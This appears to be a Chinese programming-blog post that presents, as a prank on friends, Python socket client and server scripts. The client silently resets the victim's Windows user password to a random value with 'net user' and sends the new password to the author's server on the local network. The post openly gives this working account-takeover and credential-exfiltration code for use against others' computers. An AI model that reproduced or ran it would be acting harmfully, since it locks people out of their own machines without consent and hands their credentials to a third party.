一个可以套路别人的python小程序实例代码


Posted in Python onApril 09, 2019

先简要介绍一下程序。

 程序是使用pycharm工具,python语言所写。程序包括客户端 client.py 和服务器端 server.py 两部分,利用了python中的socket包。

 咳咳,使用方法来了!

 首先,你需要你和你的朋友在同一个局域网内,然后在你的主机上,运行服务器端 server.py。

 然后,让你的朋友在他的电脑上运行客户端 client.py。

 此时你朋友电脑的windows用户密码,就会变成一个随机密码,且这个生成的随机密码他本人无法得知,而是把这个密码通过socket传给了服务器端的你。

嗯,然后你朋友的电脑密码就只有你自己知道了~

上代码:

# client.py:
import socket
import getpass
import subprocess
import random
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.connect(('172.17.21.56', 8080))
user = getpass.getuser()
psd = ''
for j in range(1, 9):
m = str(random.randrange(0, 10))
psd = psd + m
subprocess.Popen(['net', 'User', user, psd])
phone.send(psd.encode('utf-8'))
back_msg = phone.recv(1024)
phone.close()
# server.py
import socket
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.bind(('172.17.21.56', 8080))
phone.listen(5)
print('starting....')
conn, addr = phone.accept()
print(conn)
print('client addr', addr)
print('ready to read msg')
client_msg = conn.recv(1024)
print('client msg: %s' % client_msg)
conn.send(client_msg.upper())
conn.close()
phone.close()

总结

以上所述是小编给大家介绍的个可以套路别人的python小程序,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!

Python 相关文章推荐
Python3中的2to3转换工具使用示例
Jun 12 Python
玩转python爬虫之cookie使用方法
Feb 17 Python
python3使用SMTP发送HTML格式邮件
Jun 19 Python
python 处理string到hex脚本的方法
Oct 26 Python
Python判断以什么结尾以什么开头的实例
Oct 27 Python
局域网内python socket实现windows与linux间的消息传送
Apr 19 Python
用Python从0开始实现一个中文拼音输入法的思路详解
Jul 20 Python
linux环境下安装python虚拟环境及注意事项
Jan 07 Python
python3连接mysql获取ansible动态inventory脚本
Jan 19 Python
Python3基于print打印带颜色字符串
Jul 06 Python
python中upper是做什么用的
Jul 20 Python
python爬虫工具例举说明
Nov 30 Python
Python装饰器限制函数运行时间超时则退出执行
Apr 09 #Python
详解Python 解压缩文件
Apr 09 #Python
Python使用pandas和xlsxwriter读写xlsx文件的方法示例
Apr 09 #Python
Python中使用logging和traceback模块记录日志和跟踪异常
Apr 09 #Python
由Python编写的MySQL管理工具代码实例
Apr 09 #Python
python实现爬山算法的思路详解
Apr 09 #Python
Python使用Pickle模块进行数据保存和读取的讲解
Apr 09 #Python
You might like
整合了前面的PHP数据库连接类~~做成一个分页类!
2006/11/25 PHP
PHP中如何判断AJAX提交的数据
2012/02/05 PHP
php实现读取手机客户端浏览器的类
2015/01/09 PHP
帝国cms常用标签汇总
2015/07/06 PHP
学习php设计模式 php实现工厂模式(factory)
2015/12/07 PHP
Zend Framework教程之资源(Resources)用法实例详解
2016/03/14 PHP
PDO::lastInsertId讲解
2019/01/29 PHP
js每次Title显示不同的名言
2008/09/25 Javascript
调用js时ie6和ie7,ff的区别
2009/08/19 Javascript
javascript replace()正则替换实现代码
2010/02/26 Javascript
jQuery动画效果-fadeIn fadeOut淡入浅出示例代码
2013/08/28 Javascript
写JQuery插件的基本知识
2013/11/25 Javascript
node.js中的fs.exists方法使用说明
2014/12/17 Javascript
JavaScript设计模式之原型模式(Object.create与prototype)介绍
2014/12/28 Javascript
Angularjs自定义指令实现三级联动 选择地理位置
2017/02/13 Javascript
微信小程序获取循环元素id以及wx.login登录操作
2017/08/17 Javascript
vue组件实现文字居中对齐的方法
2017/08/23 Javascript
vue实现的仿淘宝购物车功能详解
2019/01/27 Javascript
js实现图片局部放大效果详解
2019/03/18 Javascript
Python解析xml中dom元素的方法
2015/03/12 Python
python中set常用操作汇总
2016/06/30 Python
Python简单生成随机数的方法示例
2018/03/31 Python
python读取txt文件中特定位置字符的方法
2018/12/24 Python
Python中如何引入第三方模块
2020/05/27 Python
canvas小画板之平滑曲线的实现
2020/08/12 HTML / CSS
澳大利亚吉他在线:Artist Guitars
2017/03/30 全球购物
Clarks鞋美国官网:全球领军鞋履品牌
2017/05/13 全球购物
Under Armour澳大利亚官网:美国知名的高端功能性运动品牌
2018/02/22 全球购物
中专毕业个人的自荐信格式
2013/09/21 职场文书
护士求职推荐信范文
2013/11/23 职场文书
派出所所长先进事迹
2014/05/19 职场文书
奉献演讲稿范文
2014/05/21 职场文书
交警作风整顿剖析材料
2014/10/11 职场文书
写给医生的感谢信
2015/01/22 职场文书
2016春季校长开学典礼致辞
2015/11/26 职场文书
Python获取江苏疫情实时数据及爬虫分析
2021/08/02 Python